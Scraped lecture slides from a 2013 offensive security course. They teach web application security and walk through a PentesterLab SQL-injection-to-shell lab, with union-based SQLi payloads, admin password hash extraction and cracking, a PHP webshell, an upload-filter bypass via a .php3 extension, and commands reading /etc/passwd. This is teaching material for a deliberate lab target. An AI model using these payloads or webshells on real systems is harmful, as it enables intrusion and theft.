View
239
Download
0
Category
Preview:
Citation preview
Web Application Hacking/Security 101CIS 5930/4930Offensive SecuritySpring 2013
Objectives
● Become familiar with web application architecture
● Become familiar with common web vulnerabilities
Overview
● HTTP● HTTP proxies● Basics of web architecture● OWASP
○ common vulnerabilities○ SQLi○ XSS○ CSRF
● SSL & SSL strip
HTTP
● Stateless protocol● plaintext● Based on client requests and server
responses○ Headers, followed by request or response body
● HTTP requests must use specific request method○ data passed via variable=value pairs
● responses use status code
HTTP GET
GET Method● passes all request data in the URL query
string
GET /blog.php?user=bob&type=1 HTTP/1.1User-Agent:Mozilla/4.0Host: www.exampleblog.com....
HTTP POST
POST Method● passes all request data in the HTTP request
body
POST /blog.php HTTP/1.1User-Agent:Mozilla/4.0Host: www.exampleblog.comContent-Length:15....user=bob&type=1
HTTP Status Breakdown
responses include status code, and label/reason● 1XX: Informational● 2XX: Success● 3XX: Redirection● 4XX: Client Error● 5XX: Server Error
HTTP Status Codes
responses include status code, and label/reason● 200 OK● 302 Location
○ resource redirection● 401 Unauthorized
○ client not authorized for resource● 403 Forbidden
○ even with valid credentials, access is forbidden■ usually file system permissions
● 404 Not Found● 500 Internal Server Error
○ request caused an error on the server (interesting)
Maintaining State
● HTTP is stateless, does not track any state between requests
● To maintain state, application designer must implement a state tracking mechanism
● Session identifier (Session ID) is typically passed within a request○ to associate requests within a session
● Session ID are typically implemented in:○ URL○ Hidden form fields○ Cookie HTTP Header
Cookies
● Most common place to have session identifier● Server sends a response with "Set-Cookie" header
○ Variable=value pair○ followed by other common attributes usually:
■ Domain,■ Path,■ Expires,■ Short-term or Long-term■ Secure
● only send over encrypted channel■ HttpOnly
● prevents script code from accessing cookie● i.e. Javascript accesses cookies via: document.cookie
Cookies
● Can be stored on hard drive○ location differs per browser & OS
● during actual communication, are stored in browser's memory○ and only Short-term cookies
HTTP Proxy
● HTTP is stateless, so usually no timeout concerns○ Allows us to set up proxy to intercept and tamper
with HTTP requests / responses
HTTP Proxy
HTTP Proxy127.0.0.1 Server
Tester
Intercept(pause and play capability)
HTTP proxy demo
HTTPS misuse / Session Hijacking
Very common for websites to have just https on the logon page, and then drop https down to http
Server
Tester
WIFI
Attacker
login on https page
Server authenticates, sends reply + cookiebrowses site on http
Attacker can sniff cookie, hijack session
HTTP Strict Transport Security
A header to force HTTPS
Server
Tester
WIFI
Attacker
with HTTPS always on, attacker must break SSL to pull off attack
A toy architecture
Presentation Tier
Internet ErrorFirefoxChrome
Logic Tier
Apache, windows server, RAILS (Ruby), PHP
Data Tier
SQL Server, Oracle, MySQL, Postgres, mongo db (yuck!)
GET http:// SQL
HTTP response
data
Clientside, the following things can run:Javascript, actionscript, vbscript, html5, etc...
Way more going on serverside
Application Security Basics
● Most sites are not secure○ Attackers can find ways to access confidential data○ Attackers can use vulnerable websites to attack
other users● HTTP wasn't designed to be secure
○ Was built for static, read-only pages to be shared between researchers
○ No intrinsic security○ No sessions○ No dynamic page support○ All the modern stuff today was basically bolted on
later....
Application Security Basics
HTTP● wasn't intended to support Ecommerce,
○ online banking○ taxes○ insurance○ medical data
FIR
EW
ALL
Web Architecture Components
Database
AuthenticationService Access Control
WebService
Web Server
Web Architecture Components
DatabaseFI
RE
WA
LL
AuthenticationService Access Control
WebService
Web Server
Click jacking
XSS
CSRF
PacketSniffing
Parameter Tampering
Forged Tokens
Direct Object Reference
SQL injection
Directory Traversal
XML Injection
Web Architecture Components
DatabaseFI
RE
WA
LL
AuthenticationService Access Control
WebService
Web Server
Click jacking
XSS
CSRF
PacketSniffing
Parameter Tampering
Forged Tokens
Direct Object Reference
SQL injection
Directory Traversal
XML InjectionAJAXFLASH
/ FLEX
(Java)APPLETS
Silverlight AND MORE
0days
0days
0days
0days
Web Architecture Components
DatabaseFI
RE
WA
LL
AuthenticationService Access Control
WebService
Web Server
Click jacking
XSS
CSRF
PacketSniffing
Parameter Tampering
Forged Tokens
Direct Object Reference
SQL injection
Directory Traversal
XML InjectionAJAXFLASH
/ FLEX
APPLETS
Silverlight AND MORE
Huge attack surface
ObligatoryComic
A Formal Approach to Vulnerability Assessment (OWASP top 10)
SQLi is the #1 application security risk
Injection Flaws
● Mixing code and input in same context● Hostile input parsed by interpreter
○ nothing new for us
SQL Injection (SQLi) Formal Assessment
Web Application Architecture Basics
Here's the basic layout...But tech kitty stoel my megahurtzNow I need moar processors...
Presentation Tier
Internet ErrorFirefoxChrome
Logic Tier
Apache, windows server, RAILS (Ruby), PHP
Data Tier
SQL Server, Oracle, MySQL, Postgres, mongo db (yuck!)
GET http:// SQL
HTTP response
data
Web Application Architecture Basics
Presentation Tier
Internet ErrorFirefoxChrome
Logic Tier
Apache, windows server, RAILS (Ruby), PHP
Data Tier
SQL Server, Oracle, MySQL, Postgres, mongo db (yuck!)
GET http:// SQL
HTTP response
data
GET http://www.OnlineStore.com/browse.php?category=processors
Web Application Architecture Basics
Presentation Tier
Internet ErrorFirefoxChrome
Logic Tier
Apache, windows server, RAILS (Ruby), PHP
Data Tier
SQL Server, Oracle, MySQL, Postgres, mongo db (yuck!)
GET http:// SQL
HTTP response
data
SELECT * FROM products WHERE category='processors'
Web Application Architecture Basics
Presentation Tier
Internet ErrorFirefoxChrome
Logic Tier
Apache, windows server, RAILS (Ruby), PHP
Data Tier
SQL Server, Oracle, MySQL, Postgres, mongo db (yuck!)
GET http:// SQL
HTTP response
data
i7, i5, i4, amd, ARM etc....
Web Application Architecture Basics
Presentation Tier
Internet ErrorFirefoxChrome
Logic Tier
Apache, windows server, RAILS (Ruby), PHP
Data Tier
SQL Server, Oracle, MySQL, Postgres, mongo db (yuck!)
GET http:// SQL
HTTP response
data
Some SQL Basics
retrieve information using the SELECT statement;update information using the UPDATE statement;add new information using the INSERT statement;delete information using the DELETE statement.
The characters -- comment out anything that follows them in a SQL statement
3 types of SQLi
1. Inband (AKA "Error-based")2. Out-of-band (AKA "Union-
Based")3. and Inferential (AKA
"Blind")
SQLi Attack Methodology
Identify:1. The injection2. the injection type (integer or string)Attack:1. Error-based SQLi (Easiest)2. Union-based SQLi (Best data extractor)3. Blind SQLi (Worst case)
SQL Vulnerability Scanners
Union-based is where the $$$ is at. (Best data extractor) But most tools don't do it
mieliekoek.pl (error)
wpoison (error)
sqlmap (blind by default, and union if specified)
wapiti (error)
w3af (error, blind)
paros (error, blind)
sqid (error)
Lets get on with it
//connect to db$conn = mysql_connect("localhost","username","password");//build SQL statement$query = "SELECT id, name FROM users WHERE name = '$_POST["username"]' ". "AND password = '$_POST["password"]' ";...............//run query$result = mysql_query ($query);//ensure a user was returned$numrows = mysql_num_rows($result);
if($numrows != 0) {header("Location:admin.php");} else {die('Invalid username or password.');}
The admin login php code ON BAD WEBSITES will usually look like this, in some point of time:
login example
SELECT id, name FROM users WHERE name ='owen' AND password = 'kittens' ;
owen
kittens
correct implementations will use hashed passwords though, and this is handled in the logic layer
login manipulation example
SELECT id, name FROM users WHERE name ='owen' AND password = 'anything' OR '1' = '1';
owen
lololol' OR '1'='1
note the tick (') placement in the attack
This is a TOY example, and is unlikely to occur in most sites
SHOW ME COOL STUFF!!!!1!
Our hands-on example for today:https://www.pentesterlab.com/from_sqli_to_shell.html
Get the .iso and the .pdf if you haven't already.
Boot it up in VMware Player(I've had networking problems with Virtual Box)
Ok boot up the VM
Steps we will take:1. Enumeration (Discovery)2. Vulnerability Analysis3. Vulnerability Exploitation4. ???5. Profit
Find the IP of the VM you just booted
w3af comes with backtrack 5 and is a python program located in/pentest/web/w3af/
run via:python w3af_console
tutorial available here:http://resources.infosecinstitute.com/w3af-tutorial/its great :D
Lets do some discovery with w3af
w3af setup 1
Type in the w3af console:targetviewset target <<use the ip of the target vm>>
w3af setup 2
type 'back' to return to the previous menu, or CTRL-C...Now we want to select the plugins we want to use, and we want discovery ones
We're going to type:w3af>> pluginsw3af/plugins>> discovery afd allowedMethods fingerprint_WAF fingerprint_os ghdb phpEggs phpinfo robotsReader sitemapReader
Enumeration Report
go back, and type "start"We'll get LOTS of results but the breakdown is:● Target is running Apache/2.2.16 on Debian (So its hosting a website)● the target is running PHP/5.3.3-7+squeeze13,● has active filtering on URLs, ● the site has the following directories:
/ /admin/ /admin/index.php /all/ /cat/ /classes/ /css/
/footer/ /header/ /icons/ /images/ /index/ /show/
OK Vulnerability Analysis timeenter the target ip in a web browser (I'm using firefox + burpsuite, as always) and visit those URLs
We've used BurpSuite before, so that wont be covered this time
Manually detecting web vulnerabilities
Can fuzz the actual HTTP requests with the proxy (burspsuite / web scarab). Fuzz things like the login page, etc...
Can also detect sql injection.goto http://192.168.43.130/cat.php?id=1and try adding ' onto the end of the URL.
Manually detecting SQLi vuln
http://192.168.43.130/cat.php?id=1'This will escape the prepared sql statement, breaking the syntax, and resuling in a SQL error. This tells us that it is running SQL, and has a SQLi vuln. There many ways to do this
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
This is an example of Error-Based SQL Injection
pfffft... I don't have time for that
Fine, lets go back to w3af and automatically detect vulnerabilities
Vuln scanning with w3af
w3af/plugins>>> audit(Gives us a list of audit tools)we'll use:w3af/plugins>>>audit blindSqli sqli
but we need to change the target b4 we begin, to give it some of the URLs we discovered.
w3af setup again
go back twice and goto target and give it a few URLsw3af/config:target>>>set target 192.168.43.130,http://192.168.43.130/,http://192.168.43.130/cat.php?id=1,http://192.168.43.130/admin/login.php,http://192.168.43.130/all.php
so, the cat.php, admin/login.php, and all.php pages
Interesting ResultsFound 6 URLs and 6 different points of injection.The list of fuzzable requests is:- http://192.168.43.130 | Method: GET- http://192.168.43.130/ | Method: GET- http://192.168.43.130/admin/index.php | Method: POST | Parameters: (user="", password="")- http://192.168.43.130/admin/login.php | Method: GET- http://192.168.43.130/all.php | Method: GET- http://192.168.43.130/cat.php | Method: GET | Parameters: (id="1")
Blind SQL injection was found at: "http://192.168.43.130/cat.php", using HTTP method GET. The injectable parameter is: "id". This vulnerability was found in the requests with ids 250 to 251.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "MySQL server version for the right syntax to use". The error was found on response with id 261.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "You have an error in your SQL syntax;". The error was found on response with id 261.SQL injection in a MySQL database was found at: "http://192.168.43.130/cat.php", using HTTP method GET. The sent data was: "id=d%27z%220". This vulnerability was found in the request with id 261.Scan finished in 7 seconds.
Well..
It seems that only that ONE page (cat.php) has a vulnerability with the id parameter.
The rest of the results aren't SQLi related, and we've covered those topics before.
OK so lets exploit this single vulnerability (SQLi time)
http://192.168.43.130/cat.php?id=1 is SQLi vulnerable, but we don't know what the SQL query behind it in the cat.php code looks like.
So lets find out how many columns it is requesting.
Union-Based SQLi for beginners
FUN FACT:All queries in a SQL statement containing UNION operator must have an equal number of expressions in their target lists
i.e..... A UNION Bmust have the same # of columns. But we can use this to enumerate the columns of a statement.....
Union-Based SQL Injection
http://192.168.43.130/cat.php?id=1 UNION SELECT ALL 1--The used SELECT statements have a different number of columns
http://192.168.43.130/cat.php?id=1 UNION SELECT ALL 1,2--The used SELECT statements have a different number of columns
http://192.168.43.130/cat.php?id=1 UNION SELECT ALL 1,2,3--The used SELECT statements have a different number of columns
"The UNION SELECT ALL ...." part is a common SQLi trick
This is integer based, so no tick required
Union-Based SQL Injection
http://192.168.43.130/cat.php?id=1 UNION SELECT ALL 1,2,3,4--Success! we get a valid, populated webpage back
So this prepared statement has 4 columns. This technique works when SQL error messages are disabled (and Error-Based SQLi does not work).
toying around with these params will reveal what does what.
Union-Based SQL Injection
OK its 4 columns, lets try unioning with other tables.... but we need to find the tables and other info.... like:database(), user(), @@version,@@datadir
http://192.168.43.130/cat.php?id=1 UNION SELECT 1, database(), 2, 3
reveals database name == photoblog
http://192.168.43.130/cat.php?id=1 UNION SELECT 1, user(), 2, 3
reveals database name == pentesterlab@localhost
http://192.168.43.130/cat.php?id=1 UNION SELECT 1, @@version, 2, 3 reveals db version == 5.1.63-0+squeeze1
http://192.168.43.130/cat.php?id=1 UNION SELECT 1, @@datadir, 2, 3
reveals the DB is stored in /var/lib/mysql/
Lets get the table names
Most SQL Databases have a table in each database called "information_schema", which is always interesting. We can grab all table names and column names from it. Once you know the DB type and version, this info is easy to determineWe can use the following SQLi to extract this info:... UNION SELECT 1, table_name, 3, 4 from information_schema.columns
ok there's a user's table, lets get some column names
We can use this same technique to get all the column names across the DB.
... UNION SELECT 1, column_name, 3, 4 from information_schema.columns
Reveals the following interesting column names:id, privileges, user, host, db, command, login password
Excellent, lets break in to the admin console
...UNION SELECT 1, login, 3, 4 from usersreveals a login of "admin"... UNION SELECT 1, password, 3, 4 from usersreveals a password hash of 8efe310f9ab3efeae8d410a8e0166eb2
which after cracking reveals the password is:P4ssw0rdI used http://www.md5decrypter.co.uk/ and it took seconds. moral of the story: MD5 is dead
We can't stop here...
its sh3ll country :)
That was justthe admin consolefor that stupid website
We can upload a file
Hmm what could gowrong?
Uploading a webshell and Code Execution
<? phpsystem($_GET['cmd'])?>This code when put into ANY webpage can be a small webshell.
The code will take the content of the parameter cmd and executes it... i.e.:192.168.1.130/admin/uploads/shell.php?cmd=ls
My webshell code
<? if ( strcmp( $_GET['cmd'], "" ) == 0 ){ echo "15825b40c6dace2a" . "7cf5d4ab8ed434d5";}else{ system ( $_GET['cmd'] );}?>This bypasses T_String parse error. Found in w3af attack payloads
Web shell notes
● Each command you run is run in a brand new context, independent of previous commands
● the webshell has the same privileges as the web server running the php script
● There are ways to filter out uploaded php,python, etc files... but there also ways around those filters
● you can easily trojanize any open source webapps (i.e. drupal, wordpress, etc..) by adding webshell code to them and overriding the target file on the webserver
Fail
It seems to filter out the php file somehow. And spews back this drivel:
"NO PHP!!"
Bypassing the filter: file-type fuzzinguploading a .jpg gives us the following. Pay attention to the content type at the bottom...
Here
Bypassing the filter: file-type fuzzingThe webshell is interpreted as "application/octet-stream" content.
Lets change that to "image/jpeg" and see what happens to the filter.
Still fail
Must be filtering by something else,
try renaming it to shell.php3.php3 is a still recognized artifact filetype
from the late 90's when php was young.
Success
http://192.168.43.130/admin/uploads/webshell.php3?cmd=whoamireveals it is being run under account "www-data"we try: http....../admin/uploads/webshell.php3?cmd=cat /etc/passwd
GAME OVER
Related injection vectors
● LDAP● XPATH● XML● XSLT● OS commands (system("...."))● logs● javascript interpreter
Defending against Injection attacks
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
The basic defenses:○ Use parameterized queries
■ Not vulnerable to injection● not always an option!
○ Use stored procedures■ does not dynamically build the SQL statements
○ Encoding
php parameterized statements
● mysql_real_escape_string()○ escapes special characters in a string SQL
statement●
SQLi injection cheat sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
Resources
Jason Pubal "SQL Injection" derbycon presentation http://intellavis.com/blog/?p=498 / https://dl.dropbox.com/u/14820738/SQLi.pdf
OWASP https://www.owasp.org/index.php/Main_Page
www.pentesterlab.com https://www.pentesterlab.com/from_sqli_to_shell.html
SQLNINJA http://sqlninja.sourceforge.net/sqlninja-howto.html
More resources
Joe McCray has a pretty great DEFCON presentation on advanced SQLihttp://www.youtube.com/watch?v=rdyQoUNeXSg&feature=relmfu
Questions???
Recommended